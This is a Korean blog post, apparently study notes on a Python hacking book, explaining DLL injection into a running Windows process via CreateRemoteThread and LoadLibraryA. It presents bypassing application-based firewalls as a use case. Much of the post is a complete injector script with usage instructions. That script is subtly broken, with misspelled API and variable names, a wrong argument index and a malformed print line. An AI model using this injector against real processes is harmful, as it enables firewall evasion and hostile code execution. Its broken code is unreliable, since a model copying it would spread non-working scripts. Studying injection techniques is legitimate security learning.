본문 바로가기
파이썬 스터디 과제/파이썬 해킹 프로그래밍

7장-DLL과 코드 인젝션-2 (DLL 인젝션)

by laoching 2015. 1. 29.
728x90
반응형

DLL 인젝션 기술은 사용 목적에 상관없이 오래 동안 사용돼 왔다.

여기저기서 DLL 인젝션이 이용되는 것을 볼 수 있다고 한다.

DLL 인젝션의 장점은 컴파일된 바이너리를 프로세스 내에 로드하고 그것을 해당 프로세스의 일부분으로 실행시킬 수 있다는 것이다.

예를 들어 DLL 인젝션 기술을 사용하면 외부로의 네트워크 연결에 대해

특정 애플리케이션인 경우에만 허용해주는 방화벽 소프트웨어를 우회하는 것이 가능하다.


프로세스가 DLL을 메모리에 로드하게 만들기 위해 kernel32.dll의

LoadLibrary() 함수를 이용해야 한다.

LoadLibrary() 함수의 프로토타입

------------------------------------------------------------------

HMODULE LoadLibrary(

LPCTSTR lpFileName

);

------------------------------------------------------------------

lpFileName 파라미터는 단순히 로드하려는 DLL의 경로를 나타낸다.

그런데 로드하려는 DLL 경로 문자열의 포인터가 파라미터로 전돨되는 LoadLibraryA의 주소를 구하고 로드할 DLL의 이름을 써넣어야 한다.

그리고 CreateRemoteThread() 함수를 호출한다.

lpStartAddress 파라미터에는 LoadLibraryA의 주소를,

lpParameter 파라미터에는 로드할 DLL 경로의 주소를 전달한다.

CreateRemoteThread() 함수가 실행되면 마치 원격 프로세스 자신이

DLL 로드를 요청한 것처럼 LoadLibraryA가 호출된다.

dll_injector.py

------------------------------------------------------------------

import sys

from ctypes import *

PAGE_READWRITE         = 0x4
PROCESS_ALL_ACCESS     = (0x000F0000 | 0x00100000 | 0xFF )
VIRTUAL_MEM         = (0x1000 | 0x2000)


kernel32 = windll.kernel32
pid = sys.argv[1]
dll_path = sys.argv
dll_len = len(dll_path)

h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS,False, int(pid))

if not h_process:
    print "[*] Coulnd't acquire a handle to PID : %s" % pid sys.exit(0)

arg_address = kernel32.VirtualAlloEx(h_process, 0, dll_len, VIRTUAL_MEM, PAGE_READWRITE)

written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len, byref(written))

h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll")
h_loadlib = kernel32.GetProcAddress(h_kernel32, "LoadLibraryA")

thread_id = c_ulong(0)

if not kenel32.CreateRmoteThread(h_process,
    None,
    0,
    h_loadlib,
    arg_address,
    0,
    byref(threa_id)):


    print "[*] Failed to inject the DLL. exiting"
    sys.exit(0)

print "[*] Remote threa d with ID 0x%08x created" % thread_id.value

------------------------------------------------------------------

첫 번째 단계는 인젝션을 수행할 DLL의 경로를 저장할 수 있는 충분한 메모리 공간을 할당하는 것이다.

 그리고 그 할당한 메모리 공간에 DLL의 경로를 써 넣는다.

다음에는 CreateRemoteThread() 함수를 호출할 때 파라미터로 전달할 LoadLibraryA 함수의 주소를 구한다.

위 스크립트는 밑과 같은 형식으로 사용한다.

------------------------------------------------------------------

./dll_injector <PID> <DLL의 경로>

------------------------------------------------------------------

728x90
반응형

댓글